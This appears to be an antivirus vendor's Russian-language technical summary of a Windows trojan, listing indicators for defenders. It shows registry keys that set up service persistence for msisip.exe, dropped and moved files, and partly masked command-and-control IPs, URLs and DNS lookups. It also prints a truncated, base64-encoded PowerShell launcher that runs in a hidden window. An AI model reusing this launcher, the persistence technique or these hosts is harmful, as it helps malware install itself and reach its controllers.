Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\msisip] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\msisip] 'ImagePath' = '"%WINDIR%\SysWOW64\dialer\msisip.exe"'
- 'msisip' "%WINDIR%\SysWOW64\dialer\msisip.exe"
- 'msisip' %WINDIR%\SysWOW64\dialer\msisip.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABRAFYASABUAEkAaQB2AHQAPQAnAFMAWQBTAFUAUgBpAGkAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABDAFUAUgBJAHQAeQBQAFIATwBgAFQAYABPAGMAYABvAEwAIgAgAD...
- %HOMEPATH%\245.exe
- %WINDIR%\syswow64\dialer\msisip.exe
- %HOMEPATH%\245.exe в %WINDIR%\syswow64\dialer\msisip.exe
- '17#.#16.226.44':80
- '15#.#03.232.29':8080
- '18#.#6.148.68':443
- '87.##6.231.60':8080
- '11#.#61.148.81':80
- http://www.ba###ost.com/COPYRIGHT/ehtw3u2zpwx97815/
- http://11#.#61.148.81/V0s4Dh64Fxf/i4WXcj0yroi/
- DNS ASK ag#####eureka.com.br
- DNS ASK ba###ost.com
- '%HOMEPATH%\245.exe'
- '%WINDIR%\syswow64\dialer\msisip.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABRAFYASABUAEkAaQB2AHQAPQAnAFMAWQBTAFUAUgBpAGkAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABDAFUAUgBJAHQAeQBQAFIATwBgAFQAYABPAGMAYABvAEwAIgAgAD...' (со скрытым окном)